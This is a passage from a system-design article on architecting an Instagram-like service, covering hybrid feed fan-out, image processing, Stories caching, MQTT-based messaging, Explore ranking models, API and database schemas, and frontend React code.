2. **Ephemeral vs. persistent content**: Stories (24-hour TTL) and posts (permanent) require different storage strategies. Stories use aggressive client-side caching with TTL sync; posts use tiered storage with CDN caching.

3. **Cold start vs. engagement optimization**: New users need immediate value (trending content); returning users need personalized feeds. The Explore system runs 1000+ ML models simultaneously, using Two Towers neural networks for candidate retrieval and multi-task ranking for final selection.

Core mechanisms:

- **Hybrid fan-out**: Push to followers' timeline caches for users with <10K followers; merge celebrity content at read time
- **Image processing pipeline**: Generate 6+ resolution variants synchronously; apply filters via GPU shaders
- **Stories architecture**: 24-hour TTL with aggressive prefetch; target <200ms load time
- **Feed ranking**: 100K+ dense features processed by neural networks; models fine-tuned hourly
- **MQTT for real-time**: Powers DMs, notifications, and presence with 6-8% less power than HTTP

## Requirements

### Functional Requirements

| Requirement          | Priority     | Notes                                                  |
| -------------------- | ------------ | ------------------------------------------------------ |
| Photo/video upload   | Core         | Multiple resolutions, filters, up to 10 items per post |
| Feed (home timeline) | Core         | Ranked, personalized, infinite scroll                  |
| Stories              | Core         | 24-hour ephemeral, ring UI, reply capability           |
| Follow/unfollow      | Core         | Social graph management                                |
| Likes and comments   | Core         | Real-time counts, threaded comments                    |
| Direct messages      | Core         | Real-time chat, media sharing                          |
| Explore page         | Core         | Content discovery, personalized recommendations        |
| Search               | Core         | Users, hashtags, locations                             |
| Notifications        | Core         | Likes, comments, follows, DM alerts                    |
| Reels                | Extended     | Short-form video (separate video pipeline)             |
| Shopping             | Out of scope | E-commerce integration                                 |
| Ads                  | Out of scope | Separate ad-tech stack                                 |

### Non-Functional Requirements

| Requirement           | Target                    | Rationale                                  |
| --------------------- | ------------------------- | ------------------------------------------ |
| Upload availability   | 99.9%                     | Brief maintenance acceptable               |
| Feed availability     | 99.99%                    | Core engagement driver                     |
| Feed load latency     | p99 < 500ms               | User experience threshold                  |
| Stories load latency  | p99 < 200ms               | Tap-and-swipe UX requires instant response |
| Image processing time | < 10s                     | User waits for upload confirmation         |
| DM delivery latency   | p99 < 500ms               | Real-time conversation expectation         |
| Notification delivery | < 2s                      | Engagement driver                          |
| Feed freshness        | < 30s for non-celebrities | Balance freshness vs. ranking quality      |

### Scale Estimation

**Instagram-scale baseline (2025):**

```
Monthly active users: 3 billion
Daily active users: 500M+
Photos uploaded daily: 95M-100M (conservative estimate)

Upload traffic:
- 100M uploads/day = ~1,150 uploads/second average
- Peak: 3x average = ~3,500 uploads/second
- Average image size: 2MB (after client compression)
- Daily upload ingestion: ~200TB/day

Storage per image:
- Original: 2MB
- Resolutions: 1080p, 640p, 320p, 150p (thumbnail) × 2 (square + original aspect)
- Total variants: ~8 files
- Average total per image: ~5MB (compressed variants)
- Daily storage growth: ~500TB/day

Feed reads:
- 500M DAU × 20 feed opens/day = 10B feed reads/day
- = ~115K feed reads/second average
- Peak: 350K+ reads/second

Social graph:
- Average followers per user: ~150
- Celebrity accounts (>1M followers): ~50,000
- Graph edges: billions
```

**CDN efficiency:**

```
Without CDN: All reads from origin
With 95% cache hit rate (power-law distribution):
- 5% cache misses = 17.5K requests/second to origin
- Popular content served entirely from edge
```

## Design Paths

### Path A: Push-First Fan-out

**Best when:**

- Smaller scale (<100M users)
- Read latency is critical
- Most users have similar follower counts (no extreme outliers)

**Architecture:**

On post creation, push the post ID to every follower's timeline cache. Reads are O(1) cache lookups.

**Trade-offs:**

- ✅ Extremely fast reads (pre-computed timelines)
- ✅ Simple read path (single cache lookup)
- ❌ Massive write amplification for popular accounts
- ❌ Wasted writes for inactive followers
- ❌ Storage explosion (N copies per post where N = followers)

**Real-world example:** Twitter (2010-2012) used pure push model initially. A single Bieber tweet caused 10M+ cache writes.

### Path B: Pull-Only Fan-out

**Best when:**

- Read latency tolerance is higher
- Storage cost is primary concern
- Feed freshness can be slightly stale

**Architecture:**

On feed request, query the social graph for followed users, fetch their recent posts, merge and rank.

**Trade-offs:**

- ✅ No write amplification
- ✅ Minimal storage (posts stored once)
- ✅ Always fresh (computed at read time)
- ❌ High read latency (multiple DB queries)
- ❌ Expensive computation per request
- ❌ Difficult to rank effectively (limited time for ML)

**Real-world example:** Early Facebook News Feed used pull model; abandoned due to latency issues at scale.

### Path C: Hybrid Fan-out (Instagram Model)

**Best when:**

- Massive scale with power-law follower distribution
- Sub-second read latency required
- Celebrity accounts exist (>1M followers)

**Architecture:**

- **Regular users (<10K followers)**: Push to followers' timeline caches on post
- **Celebrity accounts (>10K followers)**: Store posts separately; merge at read time
- **Inactive users**: Skip fan-out; compute on demand if they return

**Trade-offs:**

- ✅ Bounded write amplification (max 10K writes per post)
- ✅ Fast reads for most users (cache + small merge)
- ✅ Handles celebrity scale without storage explosion
- ❌ Two code paths to maintain
- ❌ Merge logic adds complexity
- ❌ Celebrity posts have slight latency penalty

**Real-world example:** Instagram and Twitter (post-2012) use hybrid models. Instagram's feed team explicitly tuned the threshold based on write cost analysis.

### Path Comparison

| Factor              | Push-First   | Pull-Only            | Hybrid                                              |
| ------------------- | ------------ | -------------------- | --------------------------------------------------- |
| Read latency        | O(1)         | O(following × posts) | O(1) + O(celebrities)                               |
| Write amplification | O(followers) | O(1)                 | O(min(followers, 10K))                              |
| Storage per post    | O(followers) | O(1)                 | O(min(followers, 10K))                              |
| Code complexity     | Low          | Low                  | Medium                                              |
| Freshness           | Immediate    | Immediate            | Immediate (regular), slight delay (celebrity merge) |
| Best scale          | <100M users  | <10M users           | Billions                                            |

### This Article's Focus

This article focuses on **Path C (Hybrid Fan-out)** because:

1. Instagram's scale (3B MAU) requires bounding write amplification
2. Celebrity accounts (Ronaldo: 600M+ followers) would otherwise cause catastrophic write storms
3. The hybrid model is well-documented in Instagram engineering posts

## High-Level Design

### Component Overview

<figure>

![Service architecture: API Gateway routes to domain services. Fan-out workers populate timeline caches. Ranking service applies ML models to feed generation. MQTT enables real-time push.](./service-architecture-api-gateway-routes-to-domain-services-fan-out-workers-popul.svg)

<figcaption>Service architecture: API Gateway routes to domain services. Fan-out workers populate timeline caches. Ranking service applies ML models to feed generation. MQTT enables real-time push.</figcaption>
</figure>

### Service Responsibilities

| Service              | Responsibility                          | Data Store        | Key Operations                      |
| -------------------- | --------------------------------------- | ----------------- | ----------------------------------- |
| Upload Service       | Media ingestion, validation, processing | S3, PostgreSQL    | Resize, filter, generate variants   |
| Post Service         | Post CRUD, metadata management          | PostgreSQL        | Create, update, delete, soft-delete |
| Feed Service         | Timeline generation, ranking            | Redis, PostgreSQL | Fan-out, merge, rank                |
| Stories Service      | Ephemeral content management            | Redis (TTL), S3   | Create, expire, ring ordering       |
| Social Service       | Follow graph management                 | Cassandra         | Follow, unfollow, follower lists    |
| Search Service       | User/hashtag/location search            | Elasticsearch     | Index, query, autocomplete          |
| Explore Service      | Content discovery, recommendations      | ML platform       | Candidate retrieval, ranking        |
| DM Service           | Real-time messaging                     | Cassandra, Redis  | Send, receive, sync                 |
| Notification Service | Push and in-app notifications           | PostgreSQL, Redis | Queue, dedupe, deliver              |

## Image Upload Service

### Upload Flow

<figure>

![Two-phase upload: media upload returns immediately with media_id; post creation triggers fan-out asynchronously.](./two-phase-upload-media-upload-returns-immediately-with-media-id-post-creation-tr.svg)

<figcaption>Two-phase upload: media upload returns immediately with media_id; post creation triggers fan-out asynchronously.</figcaption>
</figure>

### Image Processing Pipeline

**Input validation:**

- Maximum file size: 30MB (client-side compression typically yields 2-5MB)
- Supported formats: JPEG, PNG, HEIC (converted to JPEG)
- Minimum resolution: 320px (smaller images upscaled)
- Maximum resolution: 1080px width (larger images downscaled)

**Resolution variants generated:**

| Variant   | Dimensions   | Use Case                      |
| --------- | ------------ | ----------------------------- |
| Original  | Up to 1080px | Full-screen view              |
| Large     | 1080 × 1080  | Feed (high-DPI devices)       |
| Medium    | 640 × 640    | Feed (standard devices)       |
| Small     | 320 × 320    | Grid view, thumbnails         |
| Thumbnail | 150 × 150    | Notifications, search results |

**Filter processing:**

Instagram applies filters using GPU shaders (GPUImage framework on mobile, server-side for web uploads).

```
Filter = Color LUT + Adjustments + Blending
- LUT (Look-Up Table): 3D color mapping
- Adjustments: Brightness, contrast, saturation, warmth
- Blending: Vignette, frame overlays
```

**Processing time budget:**

| Operation          | Target | Notes                      |
| ------------------ | ------ | -------------------------- |
| Upload to storage  | < 2s   | Depends on connection      |
| Generate variants  | < 3s   | Parallel processing        |
| Filter application | < 1s   | GPU-accelerated            |
| CDN propagation    | < 5s   | Edge cache warming         |
| **Total**          | < 10s  | User-perceived upload time |

### Storage Strategy

**Object storage layout:**

```
s3://instagram-media/
  /{user_id}/
    /{media_id}/
      original.jpg          # Raw upload
      1080.jpg             # Full resolution
      640.jpg              # Medium
      320.jpg              # Small
      150.jpg              # Thumbnail
      metadata.json        # EXIF, dimensions, filter applied
```

**CDN caching rules:**

| Content Type     | Cache Duration | Cache Key             |
| ---------------- | -------------- | --------------------- |
| Original         | 1 year         | `{media_id}/original` |
| Variants         | 1 year         | `{media_id}/{size}`   |
| Profile pictures | 1 hour         | `{user_id}/profile`   |
| Stories media    | 24 hours       | `{story_id}/media`    |

**Storage tiering (power-law optimization):**

```
Hot tier (SSD): Last 7 days of uploads, frequently accessed
Warm tier (HDD): 7 days - 1 year, moderate access
Cold tier (archive): > 1 year, rare access

Migration policy:
- Content accessed > 10x/day stays hot
- Content accessed < 1x/week moves to warm
- Content not accessed in 90 days moves to cold
```

## Feed Generation Service

### Hybrid Fan-out Implementation

<figure>

![Hybrid fan-out: regular users trigger push to follower caches; celebrity posts stored separately and merged at read time.](./hybrid-fan-out-regular-users-trigger-push-to-follower-caches-celebrity-posts-sto.svg)

<figcaption>Hybrid fan-out: regular users trigger push to follower caches; celebrity posts stored separately and merged at read time.</figcaption>
</figure>

### Timeline Cache Structure

**Redis data model:**

```bash
# Timeline cache (sorted set by timestamp)
ZADD timeline:{user_id} {timestamp} {post_id}

# Keep last 800 posts per timeline
ZREMRANGEBYRANK timeline:{user_id} 0 -801

# Post metadata cache (hash)
HSET post:{post_id}
  author_id "{user_id}"
  media_url "{cdn_url}"
  caption "{text}"
  like_count {count}
  created_at {timestamp}

# Celebrity posts (separate sorted set per celebrity)
ZADD celebrity:{user_id}:posts {timestamp} {post_id}
```

**Timeline composition at read:**

```python
def get_feed(user_id, cursor=None, limit=20):
    # 1. Get cached timeline posts
    cached_posts = redis.zrevrange(
        f"timeline:{user_id}",
        start=cursor or 0,
        end=(cursor or 0) + limit * 2  # Fetch extra for ranking
    )

    # 2. Get followed celebrities
    celebrities = get_followed_celebrities(user_id)

    # 3. Fetch recent celebrity posts (last 24h)
    celebrity_posts = []
    for celeb_id in celebrities:
        posts = redis.zrevrangebyscore(
            f"celebrity:{celeb_id}:posts",
            max=now(),
            min=now() - 86400,  # 24 hours
            limit=5
        )
        celebrity_posts.extend(posts)

    # 4. Merge and rank
    all_posts = cached_posts + celebrity_posts
    ranked_posts = ranking_service.rank(user_id, all_posts)

    return ranked_posts[:limit]
```

### Feed Ranking

Instagram's ranking system uses deep neural networks with 100K+ features.

**Signal categories:**

| Category     | Signals                                    | Weight (approx) |
| ------------ | ------------------------------------------ | --------------- |
| Relationship | DM history, profile visits, comments, tags | High            |
| Interest     | Content type engagement, hashtag affinity  | High            |
| Timeliness   | Post age, time since last seen             | Medium          |
| Popularity   | Like velocity, comment rate, share count   | Medium          |
| Creator      | Posting frequency, content quality score   | Low             |

**Ranking model architecture:**

```
Input: User embeddings + Post embeddings + Context features
  ↓
Feature extraction (100K+ dense features)
  ↓
Multi-task neural network
  ↓
Outputs:
  - P(like)
  - P(comment)
  - P(save)
  - P(share)
  - P(time_spent > 10s)
  ↓
Weighted combination → Final score
```

**Model training:**

- Trained on billions of engagement events
- Fine-tuned hourly with recent interactions
- A/B tested continuously (10+ experiments running at any time)

### Consistency and Pagination

**Consistency model:**

| Operation                | Consistency        | Rationale                           |
| ------------------------ | ------------------ | ----------------------------------- |
| Own post visibility      | Strong (immediate) | User expects to see own post        |
| Follower timeline update | Eventual (< 30s)   | Acceptable delay for feed freshness |
| Like/comment counts      | Eventual (< 5s)    | Tolerable for social proof          |
| Unfollow propagation     | Strong (immediate) | Privacy expectation                 |

**Cursor-based pagination:**

```json
// Request
GET /feed?cursor=eyJ0cyI6MTY0...&limit=20

// Response
{
  "posts": [...],
  "next_cursor": "eyJ0cyI6MTY0...",
  "has_more": true
}

// Cursor structure (base64-encoded)
{
  "ts": 1640000000,  // Timestamp of last item
  "pid": "abc123",   // Post ID (for tie-breaking)
  "v": 2             // Cursor version (for migrations)
}
```

**Why cursor-based (not offset-based):**

- Timeline changes between requests (new posts arrive)
- Offset pagination causes duplicates or missed posts
- Cursor is stable: "posts older than X" always returns consistent results

## Stories Service

### Architecture

Stories have fundamentally different requirements than feed posts:

| Property         | Posts       | Stories              |
| ---------------- | ----------- | -------------------- |
| Lifetime         | Permanent   | 24 hours             |
| Load time target | < 500ms     | < 200ms              |
| Caching strategy | CDN + Redis | Aggressive prefetch  |
| Ranking          | Complex ML  | Recency + engagement |

<figure>

![Stories architecture: aggressive client-side prefetch with TTL-synced caching. Ring ordering determines story tray sequence.](./stories-architecture-aggressive-client-side-prefetch-with-ttl-synced-caching-rin.svg)

<figcaption>Stories architecture: aggressive client-side prefetch with TTL-synced caching. Ring ordering determines story tray sequence.</figcaption>
</figure>

### Story Ring Ordering

The "Stories ring" (horizontal tray at top) orders accounts by engagement signals:

**Ordering factors:**

1. Accounts with unseen stories (always first)
2. DM interaction frequency
3. Profile visit frequency
4. Comment/like history
5. Story view history (accounts you consistently view)

**Data model:**

```bash
# Story metadata (expires with TTL)
SETEX story:{story_id} 86400 '{
  "author_id": "123",
  "media_url": "https://...",
  "created_at": 1640000000,
  "viewers": [],
  "reply_enabled": true
}'

# User's active stories (sorted set, auto-cleanup)
ZADD user:{user_id}:stories {created_at} {story_id}
ZREMRANGEBYSCORE user:{user_id}:stories -inf {now - 86400}

# Story ring ordering per viewer
ZADD user:{viewer_id}:story_ring {engagement_score} {author_id}
```

### Prefetch Strategy

**Client-side behavior:**

```
On app open:
1. Fetch story ring ordering (lightweight API call)
2. Prefetch first 3 story authors' media (background)
3. As user views stories, prefetch next 2 authors ahead

On story view:
1. Preload all segments of current story
2. Preload first segment of next story
3. Mark current story as viewed (async)
```

**Why aggressive prefetch:**

- Stories UX is tap-tap-tap: any loading spinner breaks flow
- Media is small (compressed images/short videos)
- Users view multiple stories in sequence: sequential access pattern

### TTL and Expiration

**Server-side:**

- Redis keys set with 24-hour TTL
- Background job cleans up S3 media at TTL+1 hour (grace period for in-flight views)

**Client-side:**

- Local cache respiration synced with server TTL
- Client computes `ttl_remaining = story.created_at + 86400 - now()`
- Evict from local cache when TTL expires

## Direct Messages Service

### Architecture

Instagram DMs handle real-time messaging with E2E encryption support.

<figure>

![DM flow: mutation manager ensures durability before ACK. MQTT delivers real-time push. Client shows optimistic UI immediately.](./dm-flow-mutation-manager-ensures-durability-before-ack-mqtt-delivers-real-time-p.svg)

<figcaption>DM flow: mutation manager ensures durability before ACK. MQTT delivers real-time push. Client shows optimistic UI immediately.</figcaption>
</figure>

### MQTT for Real-time

Instagram chose MQTT over WebSockets for mobile optimization:

| Property          | MQTT                                      | WebSocket             |
| ----------------- | ----------------------------------------- | --------------------- |
| Protocol overhead | 2 bytes minimum                           | 2-14 bytes            |
| Power consumption | 6-8% lower                                | Higher (keep-alive)   |
| Reconnection      | Built-in session resumption               | Manual implementation |
| QoS levels        | At-most-once, at-least-once, exactly-once | Manual                |

**MQTT topic structure:**

```
# User's DM inbox (subscribe on connect)
/u/{user_id}/inbox

# Thread-specific updates
/t/{thread_id}/messages

# Typing indicators
/t/{thread_id}/typing
```

### Direct's Mutation Manager (DMM)

Instagram's engineering team built a dedicated mutation manager for DMs to handle:

1. **Optimistic UI**: Show sent message immediately, reconcile with server response
2. **Offline support**: Queue messages when offline, sync when reconnected
3. **Ordering guarantees**: Preserve message order even with network jitter
4. **Retry logic**: Automatic retry with exponential backoff

**Client-side queue:**

```typescript
interface QueuedMessage {
  localId: string // Client-generated UUID
  threadId: string
  content: string
  timestamp: number
  status: "pending" | "sent" | "failed"
  retryCount: number
}

// Persisted to IndexedDB/SQLite
// Survives app restarts
```

### Cassandra Data Model

DMs use Cassandra for high write throughput and partition-local queries.

```cql
-- Thread metadata
CREATE TABLE threads (
    thread_id UUID PRIMARY KEY,
    participant_ids SET<UUID>,
    created_at TIMESTAMP,
    last_message_at TIMESTAMP,
    last_message_preview TEXT
);

-- Messages partitioned by thread
CREATE TABLE messages (
    thread_id UUID,
    message_id TIMEUUID,
    sender_id UUID,
    content TEXT,
    media_url TEXT,
    created_at TIMESTAMP,
    PRIMARY KEY (thread_id, message_id)
) WITH CLUSTERING ORDER BY (message_id DESC);

-- User's inbox (materialized view for fast inbox loading)
CREATE TABLE user_inbox (
    user_id UUID,
    thread_id UUID,
    last_message_at TIMESTAMP,
    unread_count INT,
    PRIMARY KEY (user_id, last_message_at)
) WITH CLUSTERING ORDER BY (last_message_at DESC);
```

## Explore and Recommendations

### System Scale

Instagram's Explore recommendation system:

- **Serves hundreds of millions of daily visitors**
- **Chooses from billions of content options** in real-time
- **Runs 1,000+ ML models simultaneously**

### Three-Stage Recommendation Pipeline

<figure>

![Three-stage pipeline: retrieval narrows billions to thousands; early ranking to hundreds; late ranking produces final set with diversity constraints.](./three-stage-pipeline-retrieval-narrows-billions-to-thousands-early-ranking-to-hu.svg)

<figcaption>Three-stage pipeline: retrieval narrows billions to thousands; early ranking to hundreds; late ranking produces final set with diversity constraints.</figcaption>
</figure>

### Two Towers Model (Retrieval)

**Architecture:**

```
User Tower:                     Item Tower:
[User features]                 [Item features]
      ↓                              ↓
   Dense layers                  Dense layers
      ↓                              ↓
User embedding (128d)           Item embedding (128d)
      ↓                              ↓
      └────── Dot product ──────────┘
                   ↓
           Similarity score
```

**User features:**

- Account-level embeddings (topical interests)
- Recent engagement history
- Social graph signals
- Demographic signals (age bucket, region)

**Item features:**

- Content embeddings (visual + text)
- Creator features
- Engagement statistics
- Content category

### Multi-Task Ranking

The late-stage ranker predicts multiple objectives simultaneously:

```
Outputs:
- P(like)        weight: 1.0
- P(comment)     weight: 2.0  (higher engagement)
- P(save)        weight: 3.0  (strong intent signal)
- P(share)       weight: 3.0
- P(follow)      weight: 5.0  (acquisition metric)
- P(hide)        weight: -10.0 (negative signal)

Final score = Σ(weight × probability)
```

### Model Training

**Continual learning:**

- Models fine-tuned **hourly** with new engagement data
- Base model retrained weekly with full dataset
- Feature store updated in real-time

**Scale:**

- 1,000+ models running in production
- Custom ML infrastructure (PyTorch-based)
- GPU clusters for inference at <100ms p99

## API Design

### Photo Upload

```
POST /api/v1/media/upload
Content-Type: multipart/form-data

Request:
- file: <binary>
- media_type: "image" | "video"
- filter_id: "clarendon" | "gingham" | ... (optional)

Response (200 OK):
{
  "media_id": "abc123",
  "urls": {
    "1080": "https://cdn.instagram.com/abc123/1080.jpg",
    "640": "https://cdn.instagram.com/abc123/640.jpg",
    "320": "https://cdn.instagram.com/abc123/320.jpg",
    "150": "https://cdn.instagram.com/abc123/150.jpg"
  },
  "expires_at": "2024-01-02T00:00:00Z"  // Media must be posted within 24h
}
```

### Create Post

```
POST /api/v1/posts

Request:
{
  "media_ids": ["abc123", "def456"],  // Up to 10 for carousel
  "caption": "Summer vibes 🌴",
  "location_id": "loc_789",           // Optional
  "tagged_users": ["user_111"],       // Optional
  "alt_text": "Beach sunset"          // Accessibility
}

Response (201 Created):
{
  "post_id": "post_xyz",
  "permalink": "https://instagram.com/p/xyz",
  "created_at": "2024-01-01T12:00:00Z"
}

Errors:
- 400: Invalid media_id (expired or not found)
- 400: Caption too long (> 2200 characters)
- 403: Tagged user has blocked you
- 429: Rate limited (> 25 posts/day)
```

### Feed

```
GET /api/v1/feed?cursor={cursor}&limit=20

Response (200 OK):
{
  "posts": [
    {
      "post_id": "post_xyz",
      "author": {
        "user_id": "user_123",
        "username": "photographer",
        "profile_pic_url": "https://...",
        "is_verified": true
      },
      "media": [
        {
          "type": "image",
          "url": "https://cdn.instagram.com/...",
          "width": 1080,
          "height": 1080,
          "alt_text": "Beach sunset"
        }
      ],
      "caption": "Summer vibes 🌴",
      "like_count": 1234,
      "comment_count": 56,
      "created_at": "2024-01-01T12:00:00Z",
      "viewer_has_liked": false,
      "viewer_has_saved": false
    }
  ],
  "next_cursor": "eyJ0cyI6MTY0...",
  "has_more": true
}
```

### Stories

```
GET /api/v1/stories/feed

Response (200 OK):
{
  "story_ring": [
    {
      "user_id": "user_123",
      "username": "friend1",
      "profile_pic_url": "https://...",
      "has_unseen": true,
      "latest_story_ts": "2024-01-01T11:00:00Z"
    }
  ],
  "stories": {
    "user_123": [
      {
        "story_id": "story_abc",
        "media_url": "https://...",
        "media_type": "image",
        "created_at": "2024-01-01T11:00:00Z",
        "expires_at": "2024-01-02T11:00:00Z",
        "seen": false,
        "reply_enabled": true
      }
    ]
  }
}
```

### Direct Messages

```
POST /api/v1/direct/threads/{thread_id}/messages

Request:
{
  "text": "Hey, nice photo!",
  "reply_to_story_id": "story_abc"  // Optional
}

Response (201 Created):
{
  "message_id": "msg_xyz",
  "thread_id": "thread_123",
  "created_at": "2024-01-01T12:00:00Z",
  "status": "sent"
}
```

## Data Modeling

### PostgreSQL Schema (Core Entities)

```sql
-- Users
CREATE TABLE users (
    id BIGINT PRIMARY KEY,
    username VARCHAR(30) UNIQUE NOT NULL,
    email VARCHAR(255) UNIQUE,
    phone VARCHAR(20) UNIQUE,
    full_name VARCHAR(100),
    bio TEXT,
    profile_pic_url TEXT,
    is_private BOOLEAN DEFAULT false,
    is_verified BOOLEAN DEFAULT false,
    follower_count INT DEFAULT 0,
    following_count INT DEFAULT 0,
    post_count INT DEFAULT 0,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE INDEX idx_users_username ON users(username);

-- Posts
CREATE TABLE posts (
    id BIGINT PRIMARY KEY,
    author_id BIGINT NOT NULL REFERENCES users(id),
    caption TEXT,
    location_id BIGINT REFERENCES locations(id),
    like_count INT DEFAULT 0,
    comment_count INT DEFAULT 0,
    is_archived BOOLEAN DEFAULT false,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    deleted_at TIMESTAMPTZ
);

CREATE INDEX idx_posts_author ON posts(author_id, created_at DESC);

-- Post Media (supports carousel)
CREATE TABLE post_media (
    id BIGINT PRIMARY KEY,
    post_id BIGINT NOT NULL REFERENCES posts(id),
    media_type VARCHAR(10) NOT NULL,  -- 'image', 'video'
    url TEXT NOT NULL,
    width INT,
    height INT,
    alt_text TEXT,
    position SMALLINT DEFAULT 0,
    created_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE INDEX idx_post_media_post ON post_media(post_id);

-- Comments
CREATE TABLE comments (
    id BIGINT PRIMARY KEY,
    post_id BIGINT NOT NULL REFERENCES posts(id),
    author_id BIGINT NOT NULL REFERENCES users(id),
    parent_id BIGINT REFERENCES comments(id),  -- For replies
    content TEXT NOT NULL,
    like_count INT DEFAULT 0,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    deleted_at TIMESTAMPTZ
);

CREATE INDEX idx_comments_post ON comments(post_id, created_at DESC);

-- Likes (polymorphic)
CREATE TABLE likes (
    id BIGINT PRIMARY KEY,
    user_id BIGINT NOT NULL REFERENCES users(id),
    target_type VARCHAR(10) NOT NULL,  -- 'post', 'comment', 'story'
    target_id BIGINT NOT NULL,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    UNIQUE(user_id, target_type, target_id)
);

CREATE INDEX idx_likes_target ON likes(target_type, target_id);
```

### Cassandra Schema (Social Graph)

```cql
-- Follows (partitioned by follower for "who do I follow" queries)
CREATE TABLE follows (
    follower_id UUID,
    following_id UUID,
    created_at TIMESTAMP,
    PRIMARY KEY (follower_id, following_id)
);

-- Followers (partitioned by following for "who follows me" queries)
CREATE TABLE followers (
    following_id UUID,
    follower_id UUID,
    created_at TIMESTAMP,
    PRIMARY KEY (following_id, follower_id)
);

-- Activity feed (for "activity" tab)
CREATE TABLE activity (
    user_id UUID,
    activity_id TIMEUUID,
    actor_id UUID,
    activity_type TEXT,  -- 'like', 'comment', 'follow', 'mention'
    target_type TEXT,
    target_id UUID,
    created_at TIMESTAMP,
    PRIMARY KEY (user_id, activity_id)
) WITH CLUSTERING ORDER BY (activity_id DESC);
```

### ID Generation (Instagram's Approach)

Instagram's famous sharding and ID generation system:

```sql
-- PL/pgSQL function for globally unique, time-sorted IDs
CREATE OR REPLACE FUNCTION instagram_id() RETURNS BIGINT AS $$
DECLARE
    epoch BIGINT := 1314220021721;  -- Custom epoch (Sep 2011)
    seq_id BIGINT;
    now_millis BIGINT;
    shard_id INT := 1;  -- Set per logical shard
    result BIGINT;
BEGIN
    SELECT nextval('instagram_id_seq') % 1024 INTO seq_id;
    SELECT FLOOR(EXTRACT(EPOCH FROM NOW()) * 1000) INTO now_millis;

    result := (now_millis - epoch) << 23;  -- 41 bits for timestamp
    result := result | (shard_id << 10);    -- 13 bits for shard
    result := result | (seq_id);            -- 10 bits for sequence

    RETURN result;
END;
$$ LANGUAGE PLPGSQL;
```

**ID structure (64 bits):**

| Bits | Purpose                  | Range              |
| ---- | ------------------------ | ------------------ |
| 41   | Milliseconds since epoch | ~69 years          |
| 13   | Shard ID                 | 8,192 shards       |
| 10   | Sequence                 | 1,024 IDs/ms/shard |

**Why this matters:**

- IDs are time-sorted: no separate timestamp index needed
- IDs encode shard: routing without lookup
- IDs are unique across shards: no coordination needed

## Infrastructure

### Cloud-Agnostic Concepts

| Component      | Purpose                 | Requirements                                   |
| -------------- | ----------------------- | ---------------------------------------------- |
| Object Storage | Media files             | High durability, CDN integration               |
| Relational DB  | Users, posts, metadata  | ACID, sharding support                         |
| Wide-column DB | Social graph, activity  | High write throughput, partition-local queries |
| Cache          | Timeline, hot data      | Sub-ms latency, cluster support                |
| Message Queue  | Async processing        | At-least-once delivery, partitioning           |
| Search Index   | Discovery               | Full-text, faceted search                      |
| CDN            | Media delivery          | Global PoPs, cache efficiency                  |
| Push Gateway   | Real-time notifications | MQTT/WebSocket support                         |

### AWS Reference Architecture

| Component      | Service                                    | Configuration                |
| -------------- | ------------------------------------------ | ---------------------------- |
| API Gateway    | ALB + API Gateway                          | Auto-scaling, WAF protection |
| Compute        | EKS (Kubernetes)                           | Spot instances for workers   |
| Primary DB     | RDS PostgreSQL                             | Multi-AZ, read replicas      |
| Social Graph   | Amazon Keyspaces or self-managed Cassandra | Multi-region                 |
| Cache          | ElastiCache Redis Cluster                  | Cluster mode, 6+ nodes       |
| Object Storage | S3 + CloudFront                            | Intelligent tiering          |
| Message Queue  | Amazon MSK (Kafka) or SQS                  | For fan-out workers          |
| Search         | OpenSearch Service                         | 3+ data nodes                |
| Push           | Amazon MQ (MQTT) or IoT Core               | Managed MQTT broker          |

### Multi-Region Deployment

<figure>

![Multi-region deployment: primary in US-East with read replicas in other regions. CDN serves media globally. DNS routes users to nearest region.](./multi-region-deployment-primary-in-us-east-with-read-replicas-in-other-regions-c.svg)

<figcaption>Multi-region deployment: primary in US-East with read replicas in other regions. CDN serves media globally. DNS routes users to nearest region.</figcaption>
</figure>

### Instagram's Migration (AWS → Facebook)

Instagram migrated from AWS to Facebook's data centers in 2014:

**Before (AWS):**

- 12 PostgreSQL instances (Quadruple Extra-Large memory)
- 12 read replicas
- 6 Memcached instances
- S3 for media storage

**After (Facebook infrastructure):**

- 1 Facebook server ≈ 3 Amazon servers (efficiency)
- Shared infrastructure with Facebook
- Private fiber network between data centers
- No service disruption during migration (8 engineers, ~1 year)

## Frontend Considerations

### Feed Virtualization

Instagram's feed is an infinite scroll of variable-height items:

```typescript
// Virtualized list configuration
const FeedList = () => {
  return (
    <VirtualizedList
      data={posts}
      renderItem={({ item }) => <PostCard post={item} />}
      estimatedItemSize={600}  // Average post height
      overscanCount={3}        // Render 3 items above/below viewport
      onEndReached={loadMore}
      onEndReachedThreshold={0.5}
    />
  );
};
```

**Why virtualization:**

- Feed can have 1000+ posts
- Each post has heavy media (images/video)
- Without virtualization: memory explosion, jank

### Image Loading Strategy

```typescript
// Progressive image loading
const PostImage = ({ post }) => {
  const [loaded, setLoaded] = useState(false);

  return (
    <div className="post-image">
      {/* Blur placeholder (tiny, inline) */}
      <img
        src={post.thumbnail_blur}  // 10x10 base64
        className={loaded ? 'hidden' : 'blur'}
      />

      {/* Full image (lazy loaded) */}
      <img
        src={post.media_url}
        loading="lazy"
        onLoad={() => setLoaded(true)}
        className={loaded ? 'visible' : 'hidden'}
      />
    </div>
  );
};
```

### Stories Ring Interaction

```typescript
// Horizontal scroll with snap points
const StoriesRing = ({ stories }) => {
  return (
    <div className="stories-ring" style={{
      display: 'flex',
      overflowX: 'scroll',
      scrollSnapType: 'x mandatory',
      WebkitOverflowScrolling: 'touch'  // Smooth iOS scroll
    }}>
      {stories.map(story => (
        <div
          key={story.id}
          style={{ scrollSnapAlign: 'start' }}
        >
          <StoryAvatar story={story} />
        </div>
      ))}
    </div>
  );
};
```

### Optimistic Updates

```typescript
// Like button with optimistic UI
const LikeButton = ({ post }) => {
  const [optimisticLiked, setOptimisticLiked] = useState(post.viewer_has_liked);
  const [optimisticCount, setOptimisticCount] = useState(post.like_count);

  const handleLike = async () => {
    // Optimistic update (immediate feedback)
    setOptimisticLiked(!optimisticLiked);
    setOptimisticCount(prev => optimisticLiked ? prev - 1 : prev + 1);

    try {
      await api.toggleLike(post.id);
    } catch (error) {
      // Rollback on failure
      setOptimisticLiked(post.viewer_has_liked);
      setOptimisticCount(post.like_count);
      showError('Failed to like post');
    }
  };

  return (
    <button onClick={handleLike}>
      <HeartIcon filled={optimisticLiked} />
